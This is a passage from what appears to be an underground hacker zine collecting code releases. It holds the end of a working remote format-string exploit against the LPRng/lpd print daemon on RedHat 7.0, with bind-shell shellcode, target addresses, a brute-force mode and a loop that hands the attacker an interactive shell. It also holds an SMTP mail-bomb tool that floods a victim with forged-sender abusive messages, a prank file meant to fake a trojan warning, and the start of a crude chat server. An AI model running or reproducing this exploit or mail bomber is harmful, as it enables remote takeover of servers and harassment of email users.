  6107.   "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  6108.   "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  6109.   "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  6110.   "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  6111.   "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  6112.   "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  6113.   "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  6114.   "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
  6115.  
  6116.  
  6117.  
  6118. struct target
  6119.  {
  6120.   char *os_name;
  6121.   u_long eip_address;
  6122.   u_long shellcode_address;
  6123.   unsigned int position;
  6124.   int written_bytes;
  6125.   int align;
  6126. };
  6127.  
  6128. struct target targets[] =
  6129.  {
  6130.   { "RedHat 7.0 - Guinesss    ", 0xbffff3ec, 0L, 300, 70, 2,         },
  6131.   { "RedHat 7.0 - Guinesss-dev", 0xbffff12c, 0L, 300, 70, 2,         },
  6132.    {
  6133.      NULL, 0L, 0L, 0, 0, 0
  6134.   }
  6135. };
  6136.  
  6137.  
  6138. static char address_buffer[ADDRESS_BUFFER_SIZE+1];
  6139. static char append_buffer[APPEND_BUFFER_SIZE+1];
  6140. static char shellcode_buffer[1024];
  6141. static char *hostname=NULL;
  6142. static int offset;
  6143. static struct hostent *he;
  6144. int type=-1;
  6145. int brute=-1, failure=1;
  6146.  
  6147. void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_i
  6148. nt addr_loc)
  6149. {
  6150.    int i;
  6151.    unsigned int tmp = 0;
  6152.    unsigned int copied = previous;
  6153.    unsigned int num[4] =
  6154.    {
  6155.       (unsigned int) (shellcode_addr & 0x000000ff),
  6156.       (unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
  6157.       (unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
  6158.       (unsigned int)((shellcode_addr & 0xff000000) >> 24)
  6159.    };
  6160.  
  6161.    memset (address_buffer, '\0', sizeof(address_buffer));
  6162.    memset (append_buffer, '\0', sizeof(append_buffer));
  6163.  
  6164.    for (i = 0; i < 4; i++)
  6165.    {
  6166.       while (copied > 0x100)
  6167.          copied -= 0x100;
  6168.  
  6169.       if ( (i > 0) && (num[i-1] == num[i]) )
  6170.          sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
  6171.       else if (copied < num[i])
  6172.       {
  6173.          if ( (num[i] - copied) <= 10)
  6174.          {
  6175.             sprintf (append_buffer+strlen(append_buffer), "%.*s",
  6176.                (int)(num[i] - copied), "www.netcat.it");
  6177.             copied += (num[i] - copied);
  6178.             sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i)
  6179. ;         } else {
  6180.             sprintf (append_buffer+strlen(append_buffer), "%%.%du",
  6181.                num[i] - copied);
  6182.             copied += (num[i] - copied);
  6183.             sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i)
  6184. ;         }
  6185.       } else {
  6186.          tmp = ((num[i] + 0x100) - copied);
  6187.          sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
  6188.          copied += ((num[i] + 0x100) - copied);
  6189.          sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
  6190.       }
  6191.  
  6192.       sprintf (address_buffer+strlen(address_buffer), "%c%c%c%c",
  6193.          (unsigned char) ((eip_addr+i) & 0x000000ff),
  6194.          (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
  6195.          (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
  6196.          (unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
  6197.    }
  6198.  
  6199.    while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
  6200.       strcat (address_buffer, "X");
  6201.  
  6202.  
  6203. #ifdef DEBUG
  6204.    printf ("\nGeneration complete:\nAddress: ");
  6205.    for (i = 0; i < strlen(address_buffer); i++)
  6206.    {
  6207.       if ( ((i % 4) == 0) && (i > 0) )
  6208.          printf (".");
  6209.       printf ("%02x", (unsigned char)address_buffer[i]);
  6210.    }
  6211.    printf ("\nAppend: %s\n", append_buffer);
  6212. #endif
  6213.  
  6214.    return;
  6215. }
  6216.  
  6217. char *create_malicious_string(void)
  6218. {
  6219.    static char format_buffer[FORMAT_LENGTH+1];
  6220.    long addr1,addr2;
  6221.    int i;
  6222.  
  6223.    memset (format_buffer, '\0', sizeof(format_buffer));
  6224.  
  6225.         targets[type].shellcode_address = targets[type].eip_address + SHELLCODE
  6226. _COUNT;
  6227.  
  6228.         addr1 = targets[type].eip_address;
  6229.         addr2 = targets[type].shellcode_address;
  6230.   calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].posit
  6231. ion);
  6232.  
  6233.    (void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s",
  6234.                    targets[type].align, "BBBB", address_buffer);
  6235.  
  6236.    strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
  6237.    strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);
  6238.  
  6239.    for(i = 0 ; i < NOPCOUNT ; i++)
  6240.    strcat(format_buffer, "\x90");
  6241.  
  6242. strcat(format_buffer, shellcode);
  6243.  
  6244.    return (format_buffer);
  6245. }
  6246.  
  6247. int connect_victim()
  6248. {
  6249.  
  6250.    int sockfd, n;
  6251.    struct sockaddr_in s;
  6252.    fd_set fd_stat;
  6253.    char buff[1024];
  6254.  
  6255.   static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
  6256.  
  6257.  
  6258.    s.sin_family = AF_INET;
  6259.    s.sin_port = htons (3879);
  6260.    s.sin_addr.s_addr = *(u_long *)he->h_addr;
  6261.  
  6262.  
  6263.    if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
  6264.      {
  6265.        printf ("--- [5] Unable to create socket!\n");
  6266.        printf("Exploit failed!\n");
  6267.        return -1;
  6268.      }
  6269.  
  6270.    if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
  6271.      {
  6272.        return -1;
  6273.      }
  6274.  
  6275.      if(brute)
  6276.  
  6277.         printf("+++ The eip_address is 0x%x\n\n", targets[type].eip_address);
  6278.  
  6279.      printf("-   [+] shell located on %s\n", hostname);
  6280.      printf("-   [+] Enter Commands at will\n\n");
  6281.  
  6282.  failure = -1;
  6283.  
  6284.  FD_ZERO(&fd_stat);
  6285.  FD_SET(sockfd, &fd_stat);
  6286.  send(sockfd, testcmd, strlen(testcmd), 0);
  6287.  
  6288.  while(1) {
  6289.  
  6290.   FD_SET(sockfd,&fd_stat);
  6291.   FD_SET(0,&fd_stat);
  6292.  
  6293.   if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
  6294.   if( FD_ISSET(sockfd, &fd_stat) ) {
  6295.    if((n=read(sockfd,buff,sizeof(buff)))<0){
  6296.      fprintf(stderr, "EOF\n");
  6297.      return 2;
  6298.    }
  6299.  
  6300.    if(write(1,buff,n)<0)break;
  6301.   }
  6302.   if ( FD_ISSET(0, &fd_stat) ) {
  6303.     if((n=read(0,buff,sizeof(buff)))<0){
  6304.       fprintf(stderr,"EOF\n");
  6305.       return 2;
  6306.     }
  6307.  
  6308.     if(send(sockfd,buff,n,0)<0) break;
  6309.  
  6310.    }
  6311.   }
  6312. }
  6313.  
  6314.  
  6315. void send_code(char *exploit_buffer)
  6316. {
  6317.  
  6318.    int sockfd, n;
  6319.    struct sockaddr_in s;
  6320.    fd_set fd_stat;
  6321.    char recv[1024];
  6322.    static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
  6323.  
  6324.    s.sin_family = AF_INET;
  6325.    s.sin_port = htons (515);
  6326.    s.sin_addr.s_addr = *(u_long *)he->h_addr;
  6327.  
  6328.  
  6329.  
  6330.  
  6331.    if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
  6332.      {
  6333.        printf ("--- [5] Unable to create socket!\n");
  6334.        printf("Exploit failed!\n");
  6335.        exit(-1);
  6336.      }
  6337.  
  6338.    if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
  6339.      {
  6340.        printf ("--- [5] Unable to connect to %s\n", hostname);
  6341.        printf("Exploit failed, %s is not running LPD!\n", hostname);
  6342.        exit(-1);
  6343.      }
  6344.  
  6345.  
  6346.         usleep(DELAY);
  6347.  
  6348.         if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
  6349.           {
  6350.              printf ("Couldn't write to socket %d", sockfd);
  6351.              printf ("Exploit failed\n");
  6352.              exit(2);
  6353.          }
  6354.  
  6355.         close(sockfd);
  6356.         connect_victim();
  6357.  
  6358.    }
  6359.  
  6360.  
  6361.  
  6362.  
  6363. void usage(char *program)
  6364. {
  6365.  
  6366.  int i=0;
  6367.  
  6368.    printf("SEClpd by www.netcat.it ! \n\n");
  6369.    printf("Usage: %s victim [\"brute\"] -t type [-o offset] [-a align] [-p posi
  6370. tion] [-r eip_addr] [-c shell_addr] [-w written_bytes] \n\n", program);
  6371.    printf("ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n");
  6372.    printf("ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 b
  6373. oxes\n");
  6374.    printf("Types:\n\n");
  6375.  
  6376.    while( targets[i].os_name != NULL)
  6377.       printf ("[ Type %d:  [ %s ]\n", i++, targets[i].os_name);
  6378. }
  6379.  
  6380. int main(int argc, char **argv)
  6381. {
  6382.  
  6383.    char exploit_buffer[1024];
  6384.    char *format = NULL;
  6385.    int c, brutecount=0;
  6386.  
  6387.  
  6388.  
  6389. if(argc < 3)
  6390.   {
  6391.     usage(argv[0]);
  6392.     return 1;
  6393.  }
  6394.  
  6395.       hostname = argv[1];
  6396.  
  6397. if(!strncmp(argv[2], "brute", 5)) brute = 1;
  6398.  
  6399.  
  6400.       while(( c = getopt (argc, argv, "t:r:c:a:o:p:w:k"))!= EOF){
  6401.  
  6402.       switch (c)
  6403.         {
  6404.  
  6405.          case 't':
  6406.             type = atoi(optarg);
  6407.             break;
  6408.  
  6409.          case 'r':
  6410.             targets[type].eip_address = strtoul(optarg, NULL, 16);
  6411.             break;
  6412.  
  6413.          case 'c':
  6414.             targets[type].shellcode_address = strtoul(optarg, NULL, 16);
  6415.             break;
  6416.  
  6417.          case 'a':
  6418.             targets[type].align = atoi(optarg);
  6419.             break;
  6420.  
  6421.          case 'o':
  6422.             offset = atoi(optarg);
  6423.             break;
  6424.  
  6425.          case 'p':
  6426.             targets[type].position = atoi(optarg);
  6427.             break;
  6428.  
  6429.          case 'w':
  6430.             targets[type].written_bytes = atoi(optarg);
  6431.             break;
  6432.  
  6433.         default:
  6434.           usage(argv[0]);
  6435.           return 1;
  6436.         }
  6437.    }
  6438.  
  6439.        if(type < 0)
  6440.          {
  6441.            printf("You must specify a type!\n");
  6442.            printf("example: ./SEClpd victim -t 0\n");
  6443.            return -1;
  6444.         }
  6445.  
  6446.    if ( (he = gethostbyname (hostname)) == NULL)
  6447.    {
  6448.      herror("gethostbyname");
  6449.      exit(1);
  6450.    }
  6451.  
  6452.   targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT
  6453. ;
  6454.  
  6455.  
  6456.    printf("+++ www.netcat.it remote exploit for LPRng/lpd \n\n");
  6457.  
  6458.    printf("+++ Exploit information\n");
  6459.    printf("+++ Victim: %s\n", hostname);
  6460.    printf("+++ Type: %d - %s\n", type, targets[type].os_name);
  6461.    printf("+++ Eip address: 0x%x\n", targets[type].eip_address);
  6462.    printf("+++ Shellcode address: 0x%x\n", targets[type].shellcode_address);
  6463.    printf("+++ Position: %d\n", targets[type].position);
  6464.    printf("+++ Alignment: %d\n", targets[type].align);
  6465.    printf("+++ Offset %d\n", offset);
  6466.    printf("\n");
  6467.  
  6468.    printf("+++ Attacking %s with our format string\n", hostname);
  6469.  
  6470. if( brute > 0 )
  6471.  {
  6472.  
  6473.   printf("+++ Brute force man, relax and enjoy the ride ;>\n");
  6474.    targets[type].eip_address =  0xbffffff0;
  6475.  
  6476.  while(failure)
  6477.  
  6478.   {
  6479.         memset(exploit_buffer, '\0', sizeof(exploit_buffer));
  6480.  
  6481.    format = create_malicious_string();
  6482.    strcpy(exploit_buffer, address_buffer);
  6483.    strcat(exploit_buffer, format);
  6484.    strcat(exploit_buffer, "\n");
  6485.    send_code(exploit_buffer);
  6486.  
  6487.         targets[type].eip_address = 0xbffffff0 - offset;
  6488.  
  6489.   offset+=4;
  6490.  
  6491.     if (offset > OFFSET_LIMIT) {
  6492.         printf("+++ Offset limit hit, ending brute mode ;<\n");
  6493.         return -1;
  6494.  
  6495.        }
  6496.  
  6497.     }
  6498. }
  6499.  
  6500.  
  6501. else
  6502.  
  6503.    format = create_malicious_string();
  6504.    strcpy(exploit_buffer, address_buffer);
  6505.    strcat(exploit_buffer, format);
  6506.    strcat(exploit_buffer, "\n");
  6507.    send_code(exploit_buffer);
  6508.  
  6509.         printf("Argh exploit failed$#%! try brute force!\n");
  6510.  
  6511.    return (-1);
  6512. }
  6513.  
  6514. /* This exploit can be download from www.netcat.it */
  6515. [END_CUT] rm_netcat.it.c
  6516. [END_DIR] ripped_k0dez
  6517.  
  6518.  
  6519.        ____________________________________
  6520.     .-'                                    `-.
  6521. [16]|               M4IL B0MB3R              |[16]
  6522. [16]|                   by:                  |[16]
  6523. [16]|                 tussler                |[16]
  6524.     `-.____________________________________.-'
  6525.  
  6526. [BEGIN_DIR] disturb
  6527. [CUT_HERE] mailbomb.c
  6528. #include <netinet/in.h>
  6529. #include <sys/socket.h>
  6530. #include <stdio.h>
  6531. #include <netdb.h>
  6532. #include <unistd.h>
  6533. #include <signal.h>
  6534.  
  6535. char *mkfake(void)
  6536. {
  6537.    char *name = (char *) calloc(1, 10);
  6538.    *(name + 0) = 'A' + (lrand48() % ('Z' - 'A'));
  6539.    *(name + 1) = 'a' + (lrand48() % ('z' - 'a'));
  6540.    *(name + 2) = 'A' + (lrand48() % ('Z' - 'A'));
  6541.    *(name + 3) = 'a' + (lrand48() % ('z' - 'a'));
  6542.    *(name + 4) = 'A' + (lrand48() % ('Z' - 'A'));
  6543.    *(name + 5) = 'a' + (lrand48() % ('z' - 'a'));
  6544.    *(name + 6) = 'A' + (lrand48() % ('Z' - 'A'));
  6545.    *(name + 7) = 'a' + (lrand48() % ('z' - 'a'));
  6546.    *(name + 8) = 'A' + (lrand48() % ('Z' - 'A'));
  6547.    *(name + 9) = 'a' + (lrand48() % ('z' - 'a'));
  6548.    *(name + 10) = 0;
  6549.    return name;
  6550. }
  6551. #define HOST 23
  6552.  
  6553. const char *hosts[] = {
  6554.    "aol.com",
  6555.    "mindspring.com",
  6556.    "reality.sgi.com",
  6557.    "yahoo.com",
  6558.    "hotmail.com",
  6559.    "2600.com",
  6560.    "gay.com",
  6561.    "netzero.net",
  6562.    "playboy.com",
  6563.    "hackphreak.com",
  6564.    "b4b0.org",
  6565.    "velkro.net",
  6566.    "BEEP.com",
  6567.    "in-addr.arpa",
  6568.    "showmethemoney.com",
  6569.    "mtv.com",
  6570.    "bluejeans.com",
  6571.    "ns.co.uk",
  6572.    "the-force.net",
  6573.    "starwars.com",
  6574.    "sports.co.ck",
  6575.    "penthouse.nf",
  6576.    "sun.com"
  6577. };
  6578. const char *msg = "YOU HAVE BEEN OWNZED THANX TEW AoHELL NEW VERSION 5.0\n"
  6579.     " -- You've Got Mail (m0th3rfUqR)\n\a\033[?5h\n";
  6580.  
  6581. int main(int argc, char **argv)
  6582. {
  6583.    FILE *sockfd;
  6584.    struct hostent *he;
  6585.    struct sockaddr_in san;
  6586.    int sock, times = 0;
  6587.    void catcher(int s) {
  6588.       shutdown(sock, 2);
  6589.       close(sock);
  6590.       fclose(sockfd);
  6591.       san.sin_family = AF_INET;
  6592.       san.sin_port = htons(IPPORT_SMTP);
  6593.       san.sin_addr.s_addr = *((unsigned long *) he->h_addr);
  6594.       memset(&san.sin_zero, 0, sizeof(san.sin_zero));
  6595.       if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
  6596.          perror("reconnect");
  6597.          exit(-1);
  6598.       }
  6599.       if (connect(sock, (struct sockaddr *) &san, sizeof(san)) == -1) {
  6600.          perror("reconnect");
  6601.          exit(-1);
  6602.       }
  6603.       if ((sockfd = fdopen(sock, "w+")) == NULL) {
  6604.          perror("reconnect");
  6605.          exit(-1);
  6606.  
  6607.       }
  6608.       setvbuf(sockfd, (char *) 0, _IONBF, 0);
  6609.       fprintf(sockfd, "HELO fukr.com\r\n");
  6610.       signal(s, catcher);
  6611.    }
  6612.  
  6613.    srand48(time(0));
  6614.  
  6615.  
  6616.    if (argc < 4) {
  6617.       fprintf(stderr, "usage: %s [user] [address] [times]\n", argv[0]);
  6618.       exit(0);
  6619.    }
  6620.  
  6621.    if ((he = gethostbyname(argv[2])) == NULL) {
  6622.       herror(argv[2]);
  6623.       exit(-1);
  6624.    }
  6625.    if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
  6626.       perror("socket()");
  6627.       exit(-1);
  6628.    }
  6629.    signal(SIGPIPE, catcher);
  6630.    san.sin_family = AF_INET;
  6631.    san.sin_port = htons(IPPORT_SMTP);
  6632.    san.sin_addr.s_addr = *((unsigned long *) he->h_addr);
  6633.    memset(&san.sin_zero, 0, sizeof(san.sin_zero));
  6634.  
  6635.    if (connect(sock, (struct sockaddr *) &san, sizeof(san)) == -1) {
  6636.       perror("connect()");
  6637.       exit(-1);
  6638.    }
  6639.    if ((sockfd = fdopen(sock, "w+")) == NULL) {
  6640.       perror("fdopen()");
  6641.       exit(-1);
  6642.    }
  6643.    setvbuf(sockfd, (char *) 0, _IONBF, 0);
  6644.    usleep(20000);
  6645.    fprintf(sockfd, "HELO pee.com\r\n");
  6646.    while (times++ < atoi(argv[3])) {
  6647.       usleep(2000);
  6648.       fprintf(sockfd, "MAIL FROM: %s@%s\r\n", mkfake(), hosts[lrand48() % HOST]);
  6649.       fprintf(sockfd, "MAIL FROM: %s@%s\r\n", mkfake(), hosts[lrand48() % HOST]);
  6650.       usleep(2000);
  6651.       fprintf(sockfd, "RCPT TO: %s\r\n", argv[1]);
  6652.       usleep(2000);
  6653.       fprintf(sockfd, "DATA\r\n");
  6654.       usleep(2000);
  6655.       fprintf(sockfd, "%s\r\n", msg);
  6656.       usleep(2000);
  6657.       fprintf(sockfd, ".\r\n");
  6658.       usleep(2000);
  6659.       fprintf(stderr, "%i,", times);
  6660.    }
  6661.    usleep(200000);
  6662.    fprintf(sockfd, "QUIT\r\n");
  6663.    shutdown(sock, 2);
  6664.    close(sock);
  6665.    fclose(sockfd);
  6666.    puts("done.");
  6667.    return 0;
  6668. }
  6669. [END_CUT] mailbomb.c
  6670. [END_DIR] disturb
  6671.  
  6672.  
  6673.        ____________________________________
  6674.     .-'                                    `-.
  6675. [17]|             un1x f1le m4g1c            |[17]
  6676. [17]|                   by:                  |[17]
  6677. [17]|                  tmoL                  |[17]
  6678.     `-.____________________________________.-'
  6679.  
  6680.     Here I will show you a very nice trick to show at LAN 
  6681.     partys.
  6682.  
  6683.     First of all, eldump this.
  6684.     Then type:
  6685.  
  6686.     $ file file_m4g1c
  6687.     filemagic: ELF 32-bit LSB (FUCKYOU LAME ASS MOTHERFUCKERZ)
  6688.  
  6689.     This will amaze your friends at the LAN party. Also, change
  6690.     the message to, you have been trojaned motherfucker! This will
  6691.     clearly scare the living shit out of them.
  6692.  
  6693. [BEGIN_DIR] file_m4g1c 
  6694.  
  6695. [CUT_HERE] file_m4g1c
  6696. ^?ELF^A^A^A^AFUCKYOU LAME ASS MOTHERFUCKERZ^A
  6697. [END_CUT] file_m4g1c
  6698.  
  6699. [END_DIR] file_m4g1c
  6700.  
  6701.  
  6702.        ____________________________________
  6703.     .-'                                    `-.
  6704. [18]|                ~el8ch4t                |[18]
  6705. [18]|                   by:                  |[18]
  6706. [18]|               movl[~el8].              |[18]
  6707.     `-.____________________________________.-'
  6708.  
  6709.     h3r3 iz ~el8ch4t. im h0p1ng it iz a repl4cem3nt f0r the l4me
  6710.     irc pr0t0c0l. itz ez t0 c0mpile, run, and add k0d3z t0. gr34tz
  6711.     0ut t0 ~el8.
  6712.  
  6713. [BEGIN_DIR] el8ch4t
  6714.  
  6715. [CUT_HERE] el8ch4t.c
  6716. #include <assert.h>
  6717. #include <errno.h>
  6718. #include <stdio.h>
  6719. #include <stdlib.h>
  6720. #include <string.h>
  6721. #include <fcntl.h>
  6722. #include <unistd.h>
  6723. #include <signal.h>
  6724. #include <sys/types.h>
  6725. #include <sys/socket.h>
  6726. #include <netinet/in.h>
  6727.  
  6728. int DPORT = 31336;
  6729. #define ACCEPT_NO_CONNEX 0
  6730. #define NOCONNEX4U "n0 c0nn3cti0nz f0r y0u m0th3rfuqr, baqup\r\n"
  6731. #define NIQS1ZE 15
  6732. #define MAXINPUT 512
  6733. #define CMDCHAR /
  6734.  
  6735. typedef struct cHaTbuFF
  6736. {
  6737.   int fd;
  6738.   char niq[NIQS1ZE];
  6739.   struct sockaddr_in sin;
  6740. }
  6741. chat_t;
  6742.  
  6743. #define MAXCH4TZ 20
  6744.  
  6745. chat_t gchat[MAXCH4TZ];
  6746.  
  6747. void
  6748. come_g1t_y0rz (void)
  6749. {
  6750.   int x;
  6751.  
  6752.   for (x = 0; x <= MAXCH4TZ; x++)
  6753.     {
  6754.       gchat[x].fd = -1;
  6755.       bzero (&gchat[x].niq, NIQS1ZE);
  6756.     }
  6757.  
  6758.   return;
  6759. }
  6760.  
  6761. void
  6762. gr33t (int key, struct sockaddr_in *sin)
  6763. {
  6764.   int x;
  6765.   char buff[520];
  6766.  
  6767.   memset (buff, 0, sizeof (buff));
  6768.  
  6769.   snprintf (buff, (sizeof (buff) - 1),
  6770.             "*** Everyone welcome [%s] to ~el8chat ***\r\n", gchat[key].niq);
  6771.  
  6772.   for (x = 0; x < MAXCH4TZ; x++)
  6773.     {
  6774.       if (x == key)
  6775.         continue;               /* d0nt greet 0urs3lvez? */
  6776.       if (gchat[x].fd != -1)
  6777.         send (gchat[x].fd, buff, strlen (buff), 0x00);
  6778.     }
  6779.  
  6780.   return;
  6781. }
  6782.  
  6783. int
  6784. g3tn1q (int key)
  6785. {
  6786.   char c;
  6787.   int len = -1;
  6788.   char hello[512];
  6789.  
  6790.   char n1qy[] = "Enter your ~el8 nickname> ";
  6791.   send (gchat[key].fd, n1qy, strlen (n1qy), 0x00);
  6792.   while (1)
  6793.     {
  6794.       len += 1;
  6795.       recv (gchat[key].fd, &c, 1, 0x00);
  6796.       if (c == '\r' || c == '\n')
  6797.         break;
  6798.       if (len == NIQS1ZE)
  6799.         break;                  /* haqrz no */
  6800.       gchat[key].niq[len] = c;
  6801.     }
  6802.  
  6803.   if (len == 0 || len < 0)
  6804.     {
  6805.       send (gchat[key].fd, "Illegal nick\r\n", 15, 0x00);
  6806.       return -1;
  6807.     }
  6808.  
  6809.   for (len = 0; len < MAXCH4TZ; len++)
  6810.     {
  6811.       if (len == key)
  6812.         continue;
  6813.       if (!strncasecmp
  6814.           (gchat[len].niq, gchat[key].niq, strlen (gchat[key].niq)))
  6815.         {
  6816.           send (gchat[key].fd, "Illegal nick, already in use\r\n", 30, 0x00);
  6817.           return -1;
  6818.         }
  6819.     }
  6820.  
  6821.   for (len = 0; len < NIQS1ZE; len++)
  6822.     if (gchat[key].niq[len] == '=')
  6823.       {
  6824.         send (gchat[key].fd, "Illegal char in nick, gbye\r\n", 28, 0x00);
  6825.         return -1;
  6826.       }
  6827.  
  6828.   memset (hello, 0, sizeof (hello));
  6829.   snprintf (hello, (sizeof (hello) - 1), "*** HEY %s!!!!!!!!!! ***\r\n",
  6830.             gchat[key].niq);
  6831.   send (gchat[key].fd, hello, strlen (hello), 0x00);
  6832.  
  6833.   return 1;
  6834. }
  6835.  
  6836. int
  6837. g00dbye (int key, struct sockaddr_in *sin)
  6838. {
  6839.   int x;
  6840.   char gbYEmsg[512];
  6841.  
  6842.   memset (gbYEmsg, 0, sizeof (gbYEmsg));
  6843.   snprintf (gbYEmsg, sizeof (gbYEmsg) - 1,
  6844.             "*** [%s] has left the building ***\r\n", gchat[key].niq);
  6845.  
  6846.   for (x = 0; x < MAXCH4TZ; x++)
  6847.     {
  6848.       if (x == key)
  6849.         {
  6850.           write (gchat[key].fd, "*** CYA !!!!!!!!!!!!!!! ***\r\n", 29);
  6851.           continue;
  6852.         }
  6853.       else if (gchat[x].fd != -1)
  6854.         {
  6855.           send (gchat[x].fd, gbYEmsg, strlen (gbYEmsg), 0x00);
  6856.         }
  6857.     }
  6858.   shutdown (gchat[key].fd, 2);
  6859.   close (gchat[key].fd);
  6860.   gchat[key].fd = -1;
  6861.   bzero (&gchat[key].niq, sizeof (gchat[key].niq));
  6862.   return 1;
  6863. }
  6864.  
  6865. int
  6866. w4ll (int key, char *buff)
  6867. {
  6868.   char urniq[] = "=", format[MAXINPUT + NIQS1ZE + 1];
  6869.   int x;
  6870.  
  6871.   for (x = 0; x < MAXCH4TZ; x++)
  6872.     {
  6873.       if (x == key)             /* ur s3lf */
  6874.         {
  6875.           bzero (&format, sizeof (format));
  6876.           snprintf (format, (sizeof (format) - 1), "<%s> %s\r\n", urniq,
  6877.                     buff);
  6878.           send (gchat[key].fd, format, strlen (format), 0x00);
  6879.           continue;
  6880.         }
  6881.       if (gchat[x].fd != -1)
  6882.         {
  6883.           bzero (&format, sizeof (format));
  6884.           snprintf (format, (sizeof (format) - 1), "<%s> %s\r\n",
  6885.                     gchat[key].niq, buff);
  6886.           send (gchat[x].fd, format, strlen (format), 0x00);
  6887.         }
  6888.     }
  6889.   return 1;
  6890. }
  6891.  
  6892. /* c0mm4nd */
  6893.  
  6894. int
  6895. do_cmd_msg (int key, struct sockaddr *sin, char *msg)
  6896. {
  6897.   return 1;
  6898. }
  6899.  
  6900. int
  6901. do_cmd_who (int key, char *buff)
  6902. {
  6903.   int x;
  6904.   char hold[255];
  6905.  
  6906.   if (buff == '\0')
  6907.     {
  6908.       send (gchat[key].fd, "BCMD:2\r\n", 8, 0x00);
  6909.       for (x = 0; x < MAXCH4TZ; x++)
  6910.         {
  6911.           if (gchat[x].fd == -1)
  6912.             continue;
  6913.           bzero (&hold, sizeof (hold));
  6914.           snprintf (hold, sizeof (hold) - 1, "%s@%s\r\n", gchat[x].niq,
  6915.                     inet_ntoa (gchat[x].sin.sin_addr));
  6916.           send (gchat[key].fd, hold, strlen (hold), 0x00);
  6917.         }
  6918.       send (gchat[key].fd, "ECMD:2\r\n", 8, 0x00);
  6919.     }
  6920.  
  6921.   return 1;
  6922. }
  6923.  
  6924. int
  6925. s3rv_U (int key, int fd, struct sockaddr_in *sin)
  6926. {
  6927.   char buff[MAXINPUT];
  6928.   int n;
  6929.   if (g3tn1q (key) < 0)
  6930.     {
  6931.       g00dbye (key, sin);
  6932.     }
  6933.   gr33t (key, sin);
  6934.   while (31337)
  6935.     {
  6936.       bzero (&buff, sizeof (buff));
  6937.       n = recv (gchat[key].fd, buff, (sizeof (buff) - 1), 0x00);
  6938.       if (n > MAXINPUT)
  6939.         {
  6940.           printf
  6941.             ("WTF , N IZ %i and MAXINPUT IZ %i, REINSTALL Y0R OS ITS FUKT!!!!!!\n",
  6942.              n, MAXINPUT);
  6943.         }
  6944.       if (buff[0] == '/')
  6945.         {                       /* command shit */
  6946.           if (!strncasecmp (&buff[1], "quit", 4))
  6947.             {
  6948.               g00dbye (key, sin);
  6949.               return 1;
  6950.             }
  6951.           if (!strncasecmp (&buff[1], "who", 3))
  6952.             {
  6953.               do_cmd_who (key, '\0');
  6954.               continue;
  6955.             }
  6956.  
  6957.           if (!strncasecmp (&buff[1], "msg", 3))
  6958.             {
  6959. //do_cmd_msg(key, sin, buff);
  6960.               continue;
  6961.             }
  6962.           continue;
  6963.         }
  6964.       else
  6965.         {
  6966.           w4ll (key, buff);
  6967.         }
  6968.     }
  6969.   g00dbye (key, sin);
  6970.   return 1;
  6971. }
  6972.  
  6973. int
  6974. main (int argc, char *argv[])
  6975. {
  6976.   int sfd, nfd, sfromlen, key;
  6977.   struct sockaddr_in sin, sfrom;
  6978.  
  6979.   bzero (&sin, sizeof (sin));
  6980.   sin.sin_family = AF_INET;
  6981.   sin.sin_addr.s_addr = INADDR_ANY;
  6982.  
  6983.   come_g1t_y0rz ();
  6984.   sfd = socket (AF_INET, SOCK_STREAM, 0);
  6985.   if (sfd < 0)
  6986.     {
  6987.       perror ("socket");
  6988.       exit (-1);
  6989.     }
  6990.  
  6991.   nfd = -1;
  6992.   while (nfd == -1)
  6993.     {
  6994.       DPORT += 1;
  6995.       sin.sin_port = htons (DPORT);
  6996.       nfd = bind (sfd, (struct sockaddr *) &sin, sizeof (sin));
  6997.     }
  6998.   nfd = 0;
  6999.   printf ("p0rt t0 c0nn3ct t0 = %i\n", DPORT);
  7000.  
  7001.   if (listen (sfd, MAXCH4TZ) < 0)
  7002.     {
  7003.       perror ("listen");
  7004.       exit (-1);
  7005.     }
  7006.  
  7007.   sfromlen = sizeof (struct sockaddr_in);
  7008.   while (31337)
  7009.     {
  7010.       if ((nfd = accept (sfd, &sfrom, &sfromlen)) < 0)
  7011.         {
  7012.           perror ("acc3pt");
